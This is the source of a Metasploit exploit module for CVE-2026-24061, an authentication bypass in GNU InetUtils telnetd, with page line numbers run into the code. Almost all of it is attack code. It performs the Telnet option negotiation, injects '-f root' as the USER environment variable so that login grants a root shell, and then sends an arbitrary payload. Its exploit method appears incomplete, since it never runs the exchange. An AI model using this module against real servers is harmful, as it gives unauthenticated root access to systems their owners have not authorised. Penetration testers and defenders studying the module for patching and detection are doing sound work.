Path: blob/master/modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb
36033 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::Telnet10include Msf::Exploit::Capture1112NEW_ENVIRON_IS = "\x00"13NEW_ENVIRON_SEND = "\x01"14NEW_ENVIRON_VAR = "\x00"15NEW_ENVIRON_VALUE = "\x01"16SPACE = "\x20"17ZERO = "\x00"18FF = "\xff"1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061',25'Description' => %q{26The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in27versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which28allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.29Environment variables can be sent as sub-options and it's the USER environment variable which introduces the30authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd31service during authentication, the variable gets appended without proper sanitization to an execv call to the32/usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit33sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.34},35'Author' => [36'jheysel-r7', # Metasploit module37'Kyu Neushwaistein' # aka Carlos Cortes Alvarez, discovery38],39'References' => [40['CVE', '2026-24061'],41['URL', 'https://github.com/DeadlyHollows/CVE-2026-24061-setup'], # Target setup42['URL', 'https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/'],43['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]44],45'DisclosureDate' => '2026-01-26', # Python PoC (TCP)46'License' => MSF_LICENSE,47'Platform' => %w[unix linux],48'Arch' => ARCH_CMD,49'Privileged' => true,50'Targets' => [51[ 'Automatic', {} ]52],53'Notes' => {54'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed - this behaviour is specific to version 1.9.4 of InetUtils running on Ubuntu 18.0455'Stability' => [CRASH_SAFE],56'SideEffects' => []57}58)59)6061register_options([62Opt::RPORT(23),63OptString.new('USERNAME', [true, 'Username on device to bypass authentication as', 'root']),64OptString.new('TERMINAL_TYPE', [true, 'Terminal type to set when authenticating', 'XTERM-256COLOR']),65OptInt.new('TERMINAL_SPEED', [true, 'Terminal speed to set when authenticating', 38400])66])67end6869def recv_telnet(fd, timeout)70data = ''71bytes_to_send = ''7273begin74data = fd.get_once(-1, timeout)75return nil if data.blank?7677data_string = telnet_bytes_to_names(data)78vprint_status('Incoming Bytes: ' + data_string)7980if @client_sends == 081bytes_to_send =82IAC + WILL + OPT_AUTHENTICATION +83IAC + DO + OPT_SGA +84IAC + WILL + OPT_TTYPE +85IAC + WILL + OPT_NAWS +86IAC + WILL + OPT_TSPEED +87IAC + WILL + OPT_LFLOW +88IAC + WILL + OPT_LINEMODE +89IAC + WILL + OPT_NEW_ENVIRON +90IAC + DO + OPT_STATUS91elsif @client_sends == 192bytes_to_send =93IAC + DO + OPT_AUTHENTICATION +94IAC + DONT + OPT_ENCRYPT +95IAC + WONT + OPT_XDISPLOC +96IAC + WONT + OPT_OLD_ENVIRON97elsif @client_sends == 29899# For more info on Telnet Linemode Option please reference: https://www.rfc-editor.org/rfc/rfc1184.html100# The following binary blob was copied from a wireshark dump of a working PoC which used the telnet binary101linemode_slc =102"\x03\x01\x03\x00\x03\x62\x03\x04\x02\x0f\x05\x02\x14\x07\x62" \103"\x1c\x08\x02\x04\x09\x42\x1a\x0a\x02\x7f\x0b\x02\x15\x0c" \104"\x02\x17\x0d\x02\x12\x0e\x02\x16\x0f\x02\x11\x10\x02" \105"\x13\x11\x00" + FF + FF + "\x12\x00" + FF + FF106107bytes_to_send =108IAC + SB + OPT_AUTHENTICATION +109ZERO + ZERO + ZERO +110IAC + SE +111IAC + SB + OPT_NAWS +112"\x00\x7e" + "\x00\x3d" +113IAC + SE +114IAC + SB + OPT_LINEMODE +115linemode_slc +116IAC + SE +117IAC + DO + OPT_SGA +118IAC + SB + OPT_LINEMODE +119"\x01\x14" +120IAC + SE121IAC + SE122elsif @client_sends == 3123print_status('Sending authentication bypass...')124bytes_to_send =125IAC + SB + OPT_TSPEED +126NEW_ENVIRON_IS +127"#{datastore['TERMINAL_SPEED']},#{datastore['TERMINAL_SPEED']}" +128IAC + SE +129IAC + SB + OPT_NEW_ENVIRON +130NEW_ENVIRON_IS +131NEW_ENVIRON_VAR + 'USER' +132NEW_ENVIRON_SEND + '-f' + SPACE + datastore['USERNAME'] + # this is the auth bypass, sending '-f root' as the NEW_ENVIRON_VAR "USER"133IAC + SE +134IAC + SB + OPT_TTYPE +135NEW_ENVIRON_IS +136datastore['TERMINAL_TYPE'] +137IAC + SE138elsif @client_sends == 4139bytes_to_send = IAC + WONT + OPT_ECHO140elsif @client_sends == 5141bytes_to_send = IAC + DO + OPT_ECHO +142IAC + WILL + OPT_BINARY +143IAC + WONT + OPT_LINEMODE144elsif @client_sends == 6145print_status('Sending payload...')146bytes_to_send = payload.encoded + "\x0d\x0a"147end148149if datastore['VERBOSE']150if @client_sends == 6151vprint_status('Outgoing Bytes: ' + bytes_to_send)152else153vprint_status('Outgoing Bytes: ' + telnet_bytes_to_names(bytes_to_send))154end155end156157fd.write(bytes_to_send) unless bytes_to_send.empty?158159@trace << data160@recvd << data161fd.flush162@client_sends += 1163rescue ::EOFError, ::Errno::EPIPE => e164fail_with(Failure::UnexpectedReply, "Sending data failed with error: #{e}")165end166167data168end169170def exploit171@client_sends = 0172print_status('Connecting to telnet service... ')173connect174rescue ::Rex::ConnectionError => e175print_error("Connection failed: #{e.message}")176ensure177disconnect178end179end180181182